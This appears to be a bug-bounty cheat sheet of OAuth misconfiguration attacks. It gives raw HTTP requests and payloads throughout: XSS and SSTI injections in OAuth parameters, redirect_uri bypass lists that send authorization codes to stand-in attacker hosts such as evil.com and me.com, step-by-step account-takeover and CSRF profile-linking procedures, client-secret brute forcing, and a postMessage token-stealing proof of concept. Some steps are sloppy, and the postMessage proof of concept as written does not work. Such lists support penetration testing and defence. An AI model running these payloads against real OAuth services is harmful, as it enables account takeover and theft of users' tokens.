OAUTH Misconfigurations

Brute Force to Get Legacy OR Unimplemented OAuth Flows

Modify hd= parameter

In OAuth Connect With Google , Try To Modify hd Parameter From company.com To gmail.com To Be Able To Connect With Your Email

https://twitter.com/intigriti/status/1383397368691789825

GET /oauth/Connect?response_type=code&client_id=ID&scope=openid%20email&redirect_uri=https://company.com&nonce=Randim&hd=gmail.com HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
Accept-Encoding: gzip, deflate

Remove email from scope

Try To Remove Your Email From Scope Parameter While Signing Up OR Signing In With Services Provider To Get Account Takeover

Use Access Token Of Your App Instead Of Auth Token Of Victim App

1 - Create Facebook App
2 - Generate Access Token
3 - Go To Victim App And Click On The Facebook Sign In
 Button With Intercepting Traffic Using Burp Suite
4 - Change Value Of auth_token Parameter To
 The Access Token
5 - Forward The Request And You Will Be Login Since
 There Is No Validation Weather The Access Token
 Generated For Victim App OR Other App

Change The Host Header

GET /oauth/Connect HTTP/1.1
Host: me.com/www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com

Insert Your Domain In Referer Header While

GET /oauth/Connect HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://me.com/path
Origin: https://www.company.com

Insert admin@comapny.com in scope

In OAuth Connect Request , Try To Insert admin@company.com as Value Of Email In Scope Parameter To Gain Extra Authorities OR Get More Functionalities

POST /oauth/Connect HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
firstname=I&lastname=am&image=URL&anti_csrf=CSRF
&email=admin@company.com&access_token=******

IDOR in id= Parameter

In OAuth Connect Request , Try To Recall Id In Scope Then Try To Change This Id To Id Of Logged In Account To Takeover This Account

POST /oauth/Connect HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
firstname=I&lastname=am&image=URL&anti_csrf=CSRF
&id=Id-Of-Another-Account&access_token=******

Add JSON OR XML Extension To OAuth Endpoint

In OAuth Connect Request , Try To Add JSON OR XML Extension To OAuth Endpoint e.g. oauth/connect.json , Maybe Token Expose In Response !

POST /oauth/Connect.json HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
type=token&client_id=ID&anti-csrf=&redirect_uri=URL

XSS in OAUTH Connect/Callback

GET /oauth/Connect?)%7D(alert)(location);%7B%3C!--&state=\&redirect_uri=URL&scope=read&type=code&client_id=ID& HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
Accept-Encoding: gzip, deflate

Insert XSS Payloads To Cause Errors

Try To Insert XSS Payloads e.g. XSS To Cause Errors

GET /oauth/Connect?
 client_id=<marquee loop=1 width=0 onfinish=
 pr\u006fmpt(document.domain)></marquee> HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://me.com/path
Origin: https://www.company.com

SSTI in Scope Parameter

In OAuth Connect Request Try To Insert SSTI Payloads In Scope Parameter e.g. ${T(java.lang.Runtime).getRuntime().exec("calc.exe")} To Get RCE

GET /oauth/Connect?
 type=code&client_id=ID&state=Random&redirect_uri=URL
 &scope=${T(Java.lang.Runtime).getRuntime().
 exec("calc.exe")} HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
Accept-Encoding: gzip, deflate

XSS in RedirectUri

Try To Insert XSS Payloads As Value Of Redirect URL e.g. data:company.com;text/html;charset=UTF-8,%3Chtml%3E%3Cscript%3Edocument.write(document.domain);%3C%2Fscript%3E%3Ciframe/src= xxxxx%3Eaaaa%3C/iframe%3E%3C%2Fhtml%3E To GET DOM-Based XSS

GET /oauth/Connect?type=code&client_id=ID&state=Random
&redirect_uri=data:company.com;text/html;charset=UTF-8
,%3Chtml%3E%3Cscript%3Edocument.write(document.
domain);%3C%2Fscript%3E%3Ciframe/src=xxxxx%3Eaa
aa%3C/iframe%3E%3C%2Fhtml%3E&scope=read HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
-----------------------------
POST /oauth/Connect HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: Number
client_id=ID&client_secret=SECRET&type=Authorization&
code=Auth_code&redirect_uri=javascript:fetch('XSS')

Path Traversal to open Redirect

Try To Insert Redirect URL Parameter To Redirect URL As Value To Steal The Authorization Code OR The Access Token

GET /oauth/Connect?type=code&client_id=ID&state=Random
&redirect_uri=https://www.company.com.com/../../redirect_
uri=https://me.com&scope=read HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com

Authentication Bypass via OAuth Implicit Flow

  1. Study OAuth flow starting from the authorization request GET /auth?client_id=[...].

  2. Client receives user info from the OAuth service.

  3. Client logs in by sending a POST request to its /authenticate endpoint with user info and access token.

  4. In Burp Repeater, modify the email in the POST request to impersonate another user.

  5. Right-click the POST request, select "Request in browser" > "In original session", visit the URL, and log in as another user.

Forced OAuth Profile Linking

  1. Sign in with a social media profile.

  2. Capture the request that includes redirect_uri in /auth?client_id[...].

  3. Check if the state parameter is present. If not, it’s vulnerable to CSRF.

  4. Copy the request URL from Burp, drop the request, and turn off intercept.

  5. Log out, send the link to the victim, or use an iframe on your website.

  6. Victim's browser completes the OAuth flow, linking your profile to their account.

CSRF

-  Integration Linking
-  no state parameter or 
-  state parameter static value 
-  Remove static parameter 

Insufficient Redirect URI Validation

Exploits:

  1. Open Redirect: Redirect sensitive data to an attacker-controlled server.

    • https://yourtweetreader.com/callback?redirectUrl=https://evil.com

    • Redirec_uri Bypasses

      - target.com.evil.com
      - //attacker.com
      - https://attacker.com\@target.com
      - https://attacker.com?@target.com
      - attacker.com%0d%0atarget.com
      - Open-Redirect/SSRF -> Bypass redirect_uri
  2. Path Traversal: https://yourtweetreader.com/callback/../redirect?url=https://evil.com

  3. Weak Regexes: https://yourtweetreader.com.evil.com

  4. HTML Injection: https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

  5. XSS: Reflecting redirect URL in response.

Steps:

  1. Identify the redirect_uri parameter.

  2. Construct an exploit URL to steal the authorization code.

  3. Use the stolen code to complete the OAuth flow.

SSRF via OpenID Dynamic Client Registration

  1. Browse /.well-known/openid-configuration to find the registration endpoint.

  2. Create a POST request to register a client.

  3. Test if the logo_uri parameter is vulnerable to SSRF.

Stealing OAuth Access Tokens via a Proxy Page

  1. Register a client using a POST request.

  2. Test logo_uri for SSRF to read metadata files.

OAuth Account without email Address

  1. Register account with phone number in 3rd party

  2. use this account to register on target

  3. in settings add victim email

Microsoft nOAuth Misconfiguration

Facebook OAuth Misconfiguration

  1. Click Sign in with Facbook

  2. Click "Edit Access"

  3. Uncheck Email address

  4. You loged in without email address

OAuth Code Flaws

  1. Reuse of authorization codes.

  2. Brute-force attacks on codes.

  3. Validity of a code across different applications.

Access Token Scope Abuse

  1. Use an access token to access elevated scope endpoints.

Pre-Account Takeover

  1. Register an account with the victim's email and attacker’s password.

  2. Victim uses OAuth to register, linking their account to the attacker’s credentials.

ALL ATTACKS WITH PROMPT=NONE TO MINIMISE INTERACTION

Play With response_mode

  1. The normal value to it is &response_mode=query

  2. By Changing it's value to fragment the code is leaked in the url after # character

Exploit XSS in the Authorization Server to steal Victim's code

  1. Make &response_mode=form_post and the response will be for that send's post request with code and state parameter

HTTP 200 OK

<form method="post" 
  action="https://target.com/cb">
<input name="code" value="A9bc5D2e"/>
</form>
  1. Attacker can steal the code and state parameter using this code

POST-AUTH REDIRECT + LOGIN CSRF

  1. There is endpoint vulnerable to open redirect using it to bypass redirect_uri Restrictions and using &response_mode=fragment to send code in url

  2. The website is vulnerable to an open redirect. After a user logs in, we can exploit the state parameter to perform a CSRF attack, causing the user to log into our account after completing the OAuth process. However, to steal the user's session/code when they log into the attacker-owned account, we can use &response_mode=fragment. This will send the user's code to an attacker-controlled site in the URL after the # sign, along with the attacker's code in the query.

Disclosure of Secrets

  • Leaking client_secret allows attackers to generate access tokens and access user data.

Client Secret Brute Force

  1. Brute force the client_secret to steal accounts.

    POST /token HTTP/1.1
    content-type: application/x-www-form-urlencoded
    host: target-server
    content-length: 135
    Connection: close
    
    code=authorization_code&redirect_uri=callback_url&grant_type=authorization_code&client_id=client_id&client_secret=[bruteforce]

Referrer Header Leaking Code + State

  • Verify if the code and state are reflected in the Referrer header when the user navigates to another page.

Access Token Stored in Browser History

  • Ensure access tokens are not stored in browser history.

Everlasting Authorization Code

  • Authorization code should have a short lifespan to limit the attack window.

Authorization/Refresh Token Not Bound to Client

  • Ensure tokens are bound to the specific client.

Refresh Token Issues

Race Conditions in OAuth 2 API Implementations

  • Verify for potential race conditions that can lead to security issues.

Summary

OAuth implementations can be vulnerable to various security issues. By understanding these vulnerabilities and following the steps outlined, you can effectively test and secure OAuth flows.

References

List Of Patterns To Bypass The Whitelist In Redirect URL Parameter

https://me.com\@www.company.com
https://company.com\@me.com
https://me.com/.www.company.com
https://company.com/ @me.com
https://me.com\[company.com]
me.com%ff@company.com%2F
me.com%bf:@company.com%2F
me.com%252f@company.com%2F
//me.com%0a%2523.company.com
me.com://company.com
androideeplink://me.com\@company.com
androideeplink://a@company.com:@me.com
androideeplink://company.com
https://company.com.me.com\@company.com
company.com%252f@me.com%2fpath%2f%3
//me.com:%252525252f@company.com
company.com.evil.com
evil.com#company.com
evil.com?company.com
/%09/me.com
me.com%09company.com
/\me.com

Use IDN Homograph Attack To Spoof Redirect URL Parameter

Try To Use IDN Homograph Attack To Spoof Redirect URL Parameter To Steal The Authorization Code OR The Access Token

GET /oauth/Connect?type=code&client_id=ID&state=Random&redirect_uri=https://www.cṍmpany.com&scope=read HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com

Black Characters

Try To Insert Invisible Range %00 To %FF in The URL e.g. me.com%5bcompany.com As Value Of Redirect URL Parameter

Change Request Method

Try To Change Request Method To e.g. GET , POST , HEAD OR PUT To Understand How Company Routes The Different Methods in OAuth Flow

HEAD /oauth/Connect?
 type=code&client_id=ID&state=Random
 &redirect_uri=URL&scope=read HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
Accept-Encoding: gzip, deflate

Race Condition

Try To Figure Out Reaction Of The Server While Doing Race Condition By Using Turbo Intruder OR Nuclei To Send Simultaneously Requests

GET /oauth/Callback?code=Valid HTTP/1.1
Host: www.company.com
X-Test: %s
email=victim@gmail.com&otp=wrongOTP

XSS in the code= parameter

Try To Insert XSS Payloads e.g. ,%2520alert(123))%253B// In The Authorization Code Parameter If Value Of Code Parameter Reflected

GET /oauth/Callback?code=,%2520alert(123))%253B// HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com

Reuse The Authorization Code With XSS Payloads

If The Authorization Code Is Used More Than Once Try To Reuse The Authorization Code With XSS Payloads e.g. Codealert('XSS')

POST /oauth/Callback HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
client_id=ID&client_secret=SECRET&type=Authorization&code=
Auth_Code<script>alert('XSS')</script>&redirect_uri=URL

Use The OAuth Token With Logged In User In OAuth Provider

*** If App Ask You Log In With OAuth Provider By Generating OAuth Token , Try To Use The OAuth Token With Logged In User In OAuth Provider

1 - I am logged in with app.com as Account One
2 - I open appservice.com
3 - I get https://api.app.com/oauth/?oauth_token=*****
4 - I did not move forward and shared this link with someone who
is logged in with app.com as Account Two
5 - Account Two grants the permission to the third Party App appservice.com
6 - Account One also grants the permission to the third Party App
appservice.com By Using The Same OAuth Token
7 - I Get Dashboard Of appservice.com of Account Two Not Account One

Exploit Post Messages

Try To Use Whitelist Subdomain With Endpoint Contains postMessage(Msg,"*"); In which Msg = window.location.href.split("#")[1]; To Steal The Access Token

1 - search About :-
var Msg = window.location.href.split("#")[1];
window.parent.postMessage(Msg,"*");
2 - There Isn't :-
X-Frame-Options Header
3 - Use This POC :-
var exploit_url = 'https://company.com/oauth?client_id=id&redirect_uri=
https://sub.company.com/postMsg.js';
var i = document.createElement('iframe');
document.body.appendChild(i);
window.addEventListener('oauth', function(Token) {alert(Token.data.name);
}, !1);

Last updated